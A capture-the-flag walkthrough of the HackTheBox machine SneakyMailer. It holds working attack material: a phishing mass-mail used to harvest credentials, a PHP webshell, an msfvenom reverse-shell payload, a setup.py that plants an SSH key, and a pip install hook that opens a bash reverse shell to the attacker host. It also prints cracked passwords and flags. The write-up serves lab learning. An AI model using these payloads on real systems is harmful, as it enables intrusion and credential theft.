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SneakyMailer
====================
|  SNEAKYMAILER 10.10.10.197  |
====================

InfoGathering

SCOPE

SERVICES

FTP
Anonymous login not allowed
VSFTPD Version 3.0.3

SSH
[*] SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
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SMTP
SMTP 220 debian ESMTP Postfix (Debian/GNU)

HTTP
HOME PAGE: http://sneakycorp.htb/
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URI Tree
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SUB DOMAIN DISCOVERY

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.sneakycorp.htb' -
u http://10.10.10.197 -r --fs=13538

dev                     [Status: 200, Size: 13737, Words: 4007, Lines: 341]
www                     [Status: 200, Size: 13538, Words: 3948, Lines: 335]

DOMAINS
dev.sneakycorp.htb
sneakycorp.htb

As can be seen from the above results the dev subdomain is larger than the normal subdomain
Viewing the pages the 200 character difference is that dev offers the Register page
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DEV.SNEAKYCORP.HTB

SNEAKYCORP.HTB

IMAP
IMAP * OK [CAPABILITY IMAP4rev1 UIDPLUS CHILDREN NAMESPACE THREAD=ORDEREDSUBJECT THREAD=REFERENCES SORT 
QUOTA IDLE ACL ACL2=UNION STARTTLS ENABLE UTF8=ACCEPT] Courier-IMAP ready. Copyright 1998-2018 Double Precision, 
Inc.  See COPYING for distribution information.
imap-capabilities: 
SORT QUOTA ACL ENABLE completed 
ACL2=UNION CAPABILITY 
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THREAD=ORDEREDSUBJECT 
THREAD=REFERENCES NAMESPACE IDLE OK 
IMAP4rev1 CHILDREN UIDPLUS 
UTF8=ACCEPTA0001 
STARTTLS

IMAP OVER SSL
imap-capabilities: 
SORT QUOTA ACL ENABLE completed 
ACL2=UNION CAPABILITY 
THREAD=ORDEREDSUBJECT 
THREAD=REFERENCES NAMESPACE 
AUTH=PLAIN IDLE OK 
IMAP4rev1 CHILDREN UIDPLUS 
UTF8=ACCEPTA0001

HTTP 8080
HOME PAGE: http://10.10.10.197:8080/

FUZZ RESULTS
index.html              [Status: 200, Size: 612, Words: 79, Lines: 26]

HOME PAGE: http://pypi.sneakycorp.htb:8080/
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Gaining Acces
I of course needed to add the subdomains to the /etc/hosts file

10.10.10.197    dev.sneakycorp.htb sneakycorp.htb

Using the team.php list of email addresses I built a list of possible targets and sent them all an email containing a link to an 
http server i hosted on nc

CONTENTS OF email.lst
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it@sneakymailer.htb
root@sneakymailer.htb
postmaster@sneakymailer.htb
airisatouky@sneakymailer.htb
angelicaramos@sneakymailer.htb
ashtoncox@sneakymailer.htb
bradleygreer@sneakymailer.htb
brendenwagner@sneakymailer.htb
briellewilliamson@sneakymailer.htb
brunonash@sneakymailer.htb
caesarvance@sneakymailer.htb
carastevens@sneakymailer.htb
cedrickelly@sneakymailer.htb
zoritaserrano@sneakymailer.htb
zenaidafrank@sneakymailer.htb
yuriberry@sneakymailer.htb
vivianharrell@sneakymailer.htb
unitybutler@sneakymailer.htb
timothymooney@sneakymailer.htb
tigernixon@sneakymailer.htb
thorwalton@sneakymailer.htb
tatyanafitzpatrick@sneakymailer.htb
sulcud@sneakymailer.htb
sukiburks@sneakymailer.htb
sonyafrost@sneakymailer.htb
shouitou@sneakymailer.htb
shaddecker@sneakymailer.htb
sergebaldwin@sneakymailer.htb
sakurayamamoto@sneakymailer.htb
rhonadavidson@sneakymailer.htb
quinnflynn@sneakymailer.htb
prescottbartlett@sneakymailer.htb
paulbyrd@sneakymailer.htb
olivialiang@sneakymailer.htb
michellehouse@sneakymailer.htb
michaelsilva@sneakymailer.htb
martenamccray@sneakymailer.htb
laelgreer@sneakymailer.htb
jonasalexander@sneakymailer.htb
jenniferchang@sneakymailer.htb
jenniferacosta@sneakymailer.htb
jenettecaldwell@sneakymailer.htb
jenagaines@sneakymailer.htb
jacksonbradshaw@sneakymailer.htb
howardhatfield@sneakymailer.htb
hopefuentes@sneakymailer.htb
herrodchandler@sneakymailer.htb
hermionebutler@sneakymailer.htb
haleykennedy@sneakymailer.htb
glorialittle@sneakymailer.htb
gavinjoyce@sneakymailer.htb
gavincortez@sneakymailer.htb
garrettwinters@sneakymailer.htb
fionagreen@sneakymailer.htb
finncamacho@sneakymailer.htb
doriswilder@sneakymailer.htb
donnasnider@sneakymailer.htb
dairios@sneakymailer.htb
colleenhurst@sneakymailer.htb
chardemarshall@sneakymailer.htb

Using the above list of email addresses I sent out a malicious email
I sent a malicious email to these users and set up a listener. They returned a response

# State netcat listener
nc -lvnp 80

# Send emails
while read mail;do swaks --to $mail --from it@sneakymailer.htb --header "Subject: Credentials / Errors" --
body "goto http://10.10.14.23/" --server 10.10.10.197; done < email.lst
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SCREENSHOT EVIDENCE OR NETCAT CAPTURE

I used Burp to decode the URL encoded data which gave me the below information (Ctrl + Shift + U)

mail: paulbyrd@sneakymailer.htb
user: paulbyrd
password: ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

I was able to use this password to access Pauls emails in the Evolution Email Client

SCREENSHOT EVIDENCE OF EXPOSED PASSWORD IN EMAIL

CONTENTS OF PAULS EMAIL

Hello administrator, 

I want to change this password forthe developer account

Username: developer
Original-Password: m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Please notify me when you do it

This tells me I have the developers password. I was able to use it to sign into the FTP server

SCREENSHOT EVIDENCE OF FTP ACCESS
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CONTENTS OF rev.php
<?php echo system($_REQUEST['cmd']); ?>

I could tell from the directory structure this is one of the websites. I uploaded a webshell to the dev directory on the ftp server

# Connect to FTP Server
ftp 10.10.10.197
developer
m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

# Upload malicious webshell
binary
cd dev
put rev.php

Once uploaded I could execute commands on the target

SCREENSHOT EVIDENCE OF WEBSHELL

The file was deleted automatically shortly after. I created an msfvenom payload and executed that instead

# Create payload
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.23 LPORT=1337 -f raw > rev.php

# Execute payload
curl http://dev.sneakycorp.htb/rev.php

SCREENSHOT EVIDENCE OF REVERSE SHELL

As can be seen above i am the www-data user. I verified the “developer” user was in the /etc/passwd file and was able to use 
the password again to su as developer
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grep developer /etc/passwd
su developer
m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

In the /var/www directory I found another subdomain “pypi” so I added that to my hosts file and restarted firefox
There is a htpasswd file containing a password hash in /var/www/pypi.sneakycorp.htb

cat /var/www/pypi.sneakycorp.htb/.htpasswd
# RESULTS
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/

I used John to crack the hash

echo 'pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/' > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
# RESULTS
soufianeelhaoui

SCREENSHOT EVIDENCE OF CRACKED PASSWORD

I could not su as the user pypi but the group permissions how the user has pypi-pkg permissions
This means I can use it to upload a package. I created a pypirc file and uploaded it to the target

CONTENTS OF pypi.pypirc
[distutils]
index-servers =

local

[local]
repository: http://pypi.sneakycorp.htb:8080
username: pypi
password: soufianeelhaoui

Upload file to target

# On attack machine
cat pypi.pypirc | base64 | xclip -sel clip

# On target
mkdir -p /dev/shm/.tobor/mypkg
cd /dev/shm/.tobor/mypkg
echo 'cat pypi.pypirc | base64 | xclip -sel 
clipW2Rpc3R1dGlsc10KaW5kZXgtc2VydmVycyA9Cglsb2NhbFsKCmxvY2FsXQpyZXBvc2l0b3J5OiBo
dHRwOi8vcHlwaS5zbmVha3ljb3JwLmh0Yjo4MDgwCnVzZXJuYW1lOiBweXBpCnBhc3N3b3JkOiBz
b3VmaWFuZWVsaGFvdWkK' | base64 -d > pypi.pypirc

# Set permissions
chmod 600 pypi.pypirc

I created a python script to use the credentials and the service permissions to upload my public ssh key to low's authorized 
keys

CONTENTS OF setup.py
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import setuptools

try:
    with open("/home/low/.ssh/authorized_keys", "a") as f:
        f.write("\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC
+6LgpuNmKCUPQYMc5QVu3gfnDa6gte0IbtDOlo6iDEMRSIe7LCiQyRlfjNbqmOL9penMwSJNCOcBRMqdSYRCw+oJUPqaTdhYJP0kAb
+5onaUIpOdkVZj276zJSJyL5b76+fQSssBFAmKmyw+dloVnIeyXTzaw/l5UUofHC7Y
+1UIfi3zsFI9aAegHNHgKrvrI3sbpT4xdNWXI89DNFJrrAsvT8avDN4pgUCrI+T+6R6oZTjw/Dc5OUd9f6EplMGQVWsCGFoMAH+BMUAEeG
+S1EQioqQnlhO/Kh6MojNrpgYb90bhmqoqbV9XFzMQGqQgYtF9HcxSxpKUVAbrVVeQ7iniwsClVzutXoXr1OI3Hj/h5ZteAhAd
+hBDYcRMHhEgdFD302nD/
tapfREri64l1Ob2kLdfHb1so1zXBQ9htdZqTO96ozKXW4bcC2ssf4o6D0powZNJ3ITG78fyt2hlILOjMEi0y4qDslIBG/InSQSl79qQ
+YdSOnmsobBD2OL4hl6gEpa0v2x73H4deZAVqfaoorMKmhrgyG/
OuI2QIvAC9BiqBYvIHAV15xnrtg14VoR4HrXsmUvGSI43RpPqI4Hh47pdHYC7UqkFAMKZ5KA5u3qoEUHoSIE8rGUe/
GzsGukOvAJnjwtq7HLduoPpuH32NxLA0/rZHm87OBaMCgQ== root@kali")
        f.close()

except Exception as e:
    pass

setuptools.setup(
        name="tobor", 
        version="0.0.1",
        author="Example Author",
        author_email="author@example.com",
        description="A small example package",
        long_description="",
        long_description_content_type="text/markdown",
        url="https://github.com/pypa/sampleproject",
        packages=setuptools.find_packages(),
        classifiers=[
            "Programming Language :: Python :: 3",
            "License :: OSI Approved :: MIT License",
            "Operating System :: OS Independent",
        ],
)

I uploaded this file as well using the base64 method previously.
I then set permissions on the file

# Change HOME variable so the file can be used to run the setup
HOME=$(pwd)
python3 setup.py sdist register -r local upload -r local

I was then able to ssh in as low using my private key and read user flag

# SSH ACCESS
ssh -i /root/.ssh/id_rsa -p 22 low@10.10.10.197

# READ FLAG
cat /home/low/user.txt
# RESULTS
d845c1e673421e1540adf09298e1c8b6

SCREENSHOT EVIDENCE OF USER FLAG
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USER FLAG: d845c1e673421e1540adf09298e1c8b6

PrivEsc
I checked my sudo permissions and discovered I have sudo permisssions to run /usr/bin/pip3 as root without a password.

sudo -l

SCREENSHOT EVIDENCE OF sudo PERMISSIONS

This requires another python setup file to use pip3 for escalating privilege

CONTENTS OF setup.py
from setuptools import setup
from setuptools.command.install import install
import base64
import os

class CustomInstall(install):
    def run(self):
        install.run(self)
        os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.23/1338 0>&1'")

setup(name='FakePip',
    version='0.0.1',
    description='This will exploit a sudoer able to /usr/bin/pip install *',
    url='https://github.com/0x00-0x00/fakepip',
    author='derp',
    author_email='dirka@dirkadirka.com',
    license='MIT',
    zip_safe=False,
    cmdclass={'install': CustomInstall})

I started a netcat listener and uploaded the exploit to the target
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# Start listener on attack machine
nc -lvnp 1338

# On target download setup.py
wget http://10.10.14.23/setup.py
chmod +x fakepip.py

# Execute fakepip.py
sudo /usr/bin/pip3 install fakepip.py --upgrade --force-reinstall

SCREENSHOT EVIDENCE OF ROOT ACCESS

I was then able to read the root flag

cat /root/root.txt
# RESULTS
d8be4029d8760ff64295c7cadf1f21c0

SCREENSHOT EVIDENCE OF ROOT FLAG:

ROOT FLAG: d8be4029d8760ff64295c7cadf1f21c0


